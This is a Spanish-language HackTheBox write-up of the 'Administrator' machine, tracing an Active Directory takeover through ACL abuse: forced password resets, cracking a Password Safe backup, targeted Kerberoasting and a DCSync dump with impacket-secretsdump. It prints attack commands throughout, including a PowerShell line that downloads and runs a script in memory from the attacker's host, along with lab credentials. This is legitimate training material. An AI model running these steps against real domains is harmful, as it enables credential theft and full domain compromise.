Writeup - Administrator
Plataforma: HTB
Dificultad: Media
Fecha de resolución: 02/07/2025
Descripción
La maquina Administrator es una maquina dedicada 80% al abuso de ACLs (Listas de control de Acceso), que permiten el compromiso del AD pivotando entre los diferentes usuarios existentes en el DC.
Temas
• Netword and PortScanning
• AD Mapping Using LDAPDomaindup.py
• Initial Access Using WinRM
• DC Enumeration Using PowerView.ps1
• ACl Enumeration Using the Find-InterestingDomainAcl Function
• User Takeover Using GenericAll (User Pivoting)
• Abusing the WinRM Service as (Michael)
• Password Reset Abuse (ForceChangePassword) (User Pivoting)
• Abusing the FTP Service as (Benjamin)
• Accessing the FTP Service to Extract the Database (Backup.psafe3)
• Using pwsafe2john to Extract Database Hashes and Cracking hash with John
• Using (Password Safe) on Windows: Credential Listing
• Abusing the WinRM Service as (Emily)
• ACl Enumeration Using the Find-InterestingDomainAcl Function
• AD Enumeration Using adPEAS (Creating a bloodhound.zip File)
• AD Mapping Using Bloodhound
• Kerberoasting Attack + Hash Cracking (User Pivoting)
• DCSync Attack with Impacket-Secretsdump (Privilege Escalation)
Enumeración
Enumeración de puertos
nmap -p- --open -sS --min-rate 5000 -Pn -v -n 10.10.11.42 -oN Sports
nmap -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,50073,50078,50089,50103,50139,62537 -sCV 10.10.11.42 -oN Ports
Acceso Inicial Mediante WinRm
Para iniciar el ejercicio, el cliente a compartido credenciales para tener acceso al servidor ya que el usuario pertenece al grupo “Remote Managemen Users”
Se realizo enumeración de usuarios utilizando las credenciales del usuario proporcionado
netexec smb 10.10.11.42 -u 'olivia' -p 'ichliebedich'
Enumeracion de usuarios utilizando NetExec
Para tener un mapeo del DC y darnos cuenta que nuestro usuario pertenece a grupo "Remote Management Users", se realizó la extracción de información del dominio utilizando herramienta como ldapdomaindump.py
python3 ldapdomaindump.py -u 'olivia' -p 'ichliebedich' administrator.htb
Esto permite obtener una serie de archivo en formato html y json que posteriormente podemos visualizar montando un servidor con python3
Intrusión
Como primer paso validamos los resultados obtenidos para este usuario y mediante la herramienta netexec apuntando al servicio winrm, podemos confirmar que la usuaria Olivia pertenece al grupo “Remote Management Users”.
Mediante evil-winrm realizamos un primer acceso.
Enumeración del AD
Parese ser que la usuaria "Olivia" no tiene privilegios o métodos para comprometer el DC.
Sin embargo, con herramientas como PowerView podemos detectar que Olivia tiene control sobre cierto objecto. Primero importamos en memoria PowerView y posteriormente buscamos ACLs mal configuradas o interesante apuntando a nuesro usuario comprometido
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "olivia"}
Esta función de PowerView está diseñada para encontrar Listas de Control de Acceso (ACLs) interesantes o potencialmente mal configuradas en objetos de Active Directory.
En la siguiente salida vemos que la usuario Olivia tiene GericAll sobre Michael Williams, recordemos que tanto usuario como por ejemplo groups se les da en nombre de objetos, entonces:
Genericall otorga control total sobre el objeto Michael por lo cual le cambiaremos las credenciales
Set-DomainUserPassword -Identity "Michael Williams" -AccountPassword (ConvertTo-SecureString 'Pwned123!' -AsPlainText -Force)
Comprobamos los resultados, vemos que las credenciales son correctas y también Michael se encuentra en “Remote Management Users”
De igual manera ganaremos acceso y listaremos los privilegios de Michael. Al terminar de listar los privilegios e información, vemos que no tiene nada interesante.
por lo cual veremos con el mismo comando si tenemos control sobre otro objeto del dominio siendo Michael
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "michael"}
En los resultados podemos ver que Michael tiene permisos de ExtendedRight sobre Benjamin.
Este permiso le permite a michael cambiar la contraseña de benjamin sin conocer la actual. Para realizar esta acción podemos utilizar el mismo comando Set-DomainUserPassword que es una función de PowerView
Set-DomainUserPassword -Identity "Benjamin Brown" -AccountPassword (ConvertTo-SecureString 'Pwned123!' -AsPlainText -Force)
Validamos resultados y las credenciales fueron cambiadas exitosamente
Recordando, Benjamin no se encuentra en algún grupo o dentro de “Remote Managemen Users” pero tenemos un servicio llamado FTP, probamos credenciales nuevas y podemos acceder como Benjamín sobre FTP
Indagando, vemos que dentro se tiene un archivo de base de datos con nombre Backup.psafe3, lo descargamos y verificamos
Verificando y utilizando pwsafe2john podemos obtener el hash de la base de datos y con la herramienta John encontrar las creds de la base de datos
pwsafe2john Backup.psafe3 > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Utilizaremos estas credenciales para abrir la db y una maquina Windows para instalar el programa “Password Safe https://pwsafe.org/” que nos ayudara a leer la db de paasswords.
Una ves instalado elegimos la base de datos y también ponemos la contraseña
Tenemos tres usuario y tres credenciales pero solamente la del usuario emily funciona
Este usuario se encuentra en el grupo Remote Management Users, por lo cual realizamos una intrusión y aplicamos la misma técnica.
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4:8000/PowerView.ps1')
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "michael"}
Y ahora vemos que la usuaria Emily tiene permisos de genericwrite sobre ethan GenericWrite permite modificar propiedades clave del objeto Ethan Hunt. Como por ejemplo realizar un kerberoasting.
Para verlo de mejor manera, vamos a desplegar los resultados con bloodhound
El usuario EMILY@ADMINISTRATOR.HTB tiene acceso de escritura genérico al usuario ETHAN@ADMINISTRATOR.HTB.El acceso de escritura genérico permite escribir en cualquier atributo no protegido del objeto de destino, incluyendo "miembros" para un grupo y "nombresprincipalesdeservicio" para un usuario
Para este escenario utilizare "Targedkerberoast.py", este nos permira obtener un hash del usuario ethan que posteriormente podremos crackear de manera offline
python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
Como dato extra, no se logro ejecutar el comando anterior por problemas de tiempo ya que le tiempo del DC esta desfazado del de mi maquina atacante y se tiene que poner al mismo tiempo para que el ataque funcione
sudo ntpdate IP
Se raliza el crackeo del hash y obtenemos credenciales
Escalada de Privilegios
Revisando con bloodhound podemos ver que el usuario ethan tiene DCSync Attack sobre administrator.htb
El usuario ETHAN@ADMINISTRATOR.HTB tiene los permisos DS-Replication-Get-Changes y DS-Replication-Get-Changes-All en el dominio ADMINISTRATOR.HTB. Estos dos permisos permiten a un principal realizar un ataque DCSync. Simulamos ser un controlador de dominio para extraer credenciales
netexec smb 10.10.11.42 -u 'ethan' -p 'limpbizkit'
impacket-secretsdump administrator/ethan:limpbizkit@10.10.11.42
Pwn3d!